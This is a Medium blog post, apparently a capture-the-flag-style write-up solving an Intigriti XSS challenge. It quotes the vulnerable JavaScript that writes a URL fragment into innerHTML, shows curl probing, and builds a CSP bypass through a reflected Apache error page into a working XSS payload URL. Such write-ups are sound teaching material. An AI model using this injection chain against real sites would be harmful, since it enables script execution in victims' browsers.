Solving Intigriti Challenge using… Content Injection!

The Challenge

Right after the tweet, I opened up the challenge link:

Understanding the JavaScript

The script.js file had the following content:

var hash = document.location.hash.substr(1);
if(hash){
displayReason(hash);
}
document.getElementById("reasons").onchange = function(e){
if(e.target.value != "")
displayReason(e.target.value);
}
function reasonLoaded () {
var reason = document.getElementById("reason");
reason.innerHTML = unescape(this.responseText);
}
function displayReason(reason){
window.location.hash = reason;
var xhr = new XMLHttpRequest();
xhr.addEventListener("load", reasonLoaded);
xhr.open("GET",`./reasons/${reason}.txt`);
xhr.send();
}
var hash = document.location.hash.substr(1);
if(hash){
displayReason(hash);
}
document.getElementById("reasons").onchange = function(e){
if(e.target.value != "")
displayReason(e.target.value);
}
function displayReason(reason){
window.location.hash = reason;
var xhr = new XMLHttpRequest();
xhr.addEventListener("load", reasonLoaded);
xhr.open("GET",`./reasons/${reason}.txt`);
xhr.send();
}
function reasonLoaded () {
var reason = document.getElementById("reason");
reason.innerHTML = unescape(this.responseText);
}

The Chain

Phase 1: Content Injection

The site in itself was pretty minimalistic in that it didn’t have many functionalities.

Anomalies

From reading the code, I knew that I could send arbitrary input through the URL fragment. I tried sending numbers 1–6 as the input — https://challenge.intigriti.io/#1, and so on. The content was displayed from the text files located at the /reasons/ directory, as expected. If I changed it to anything else, say #0 or #7, it responded with a 404, presumably because no such files were present in /reasons. Nevertheless, it was mentioned in one of Intigriti’s tweets that no bruteforcing was required, so that was out of the question.

➜ curl -i https://challenge.intigriti.io/reasons/abba.txt
HTTP/2 200
x-powered-by: PHP/7.2.29
content-security-policy: default-src ‘self’
content-type: text/html; charset=UTF-8
server: Google Frontend
content-length: 53
404 — ‘File “abba.txt” was not found in this folder.’
➜ curl -i 'https://challenge.intigriti.io/reasons/<abba.txt>'
HTTP/2 200
x-powered-by: PHP/7.2.29
content-security-policy: default-src 'self'
content-type: text/html; charset=UTF-8
server: Google Frontend
content-length: 59
404 - 'File "_3Cabba.txt_3E" was not found in this folder.'
xhr.open("GET",`./reasons/${reason}.txt`);

Digging deeper

Out of ideas, I tried to figure out what web server they were using.

Read the source, Luke!

Yet, there was hope. Apache is an open-source project, and the code is available on GitHub — so I could just read it! I decided to look for error pages that did reflect the path.

<p>You don't have permission to access /.htaccess% on this server.</p>

Phase 2: Bypassing the CSP

Now, we shall deal with the CSP:

content-security-policy: default-src 'self'
<iframe srcdoc="<script src=X></script>></iframe>
404 - 'File "a" was not found in this folder.'
^-- I could control this part
404 - 'File "'-alert(document.domain)-'" was not found in this folder.'

Final Solution

All that was now left was stitching everything together. Since the 404 page existed in the same host, a relative path was enough:

<iframe/srcdoc="<script/src=/'-alert(document.domain)-'></script>">
https://challenge.intigriti.io#../.ht%253ciframe/srcdoc=<script/src=/'-alert(document.domain)-'></script></iframe>

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store